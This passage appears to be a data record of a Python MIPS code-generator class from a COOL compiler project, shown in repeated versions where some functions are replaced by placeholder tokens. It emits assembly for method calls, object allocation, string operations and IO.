{}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 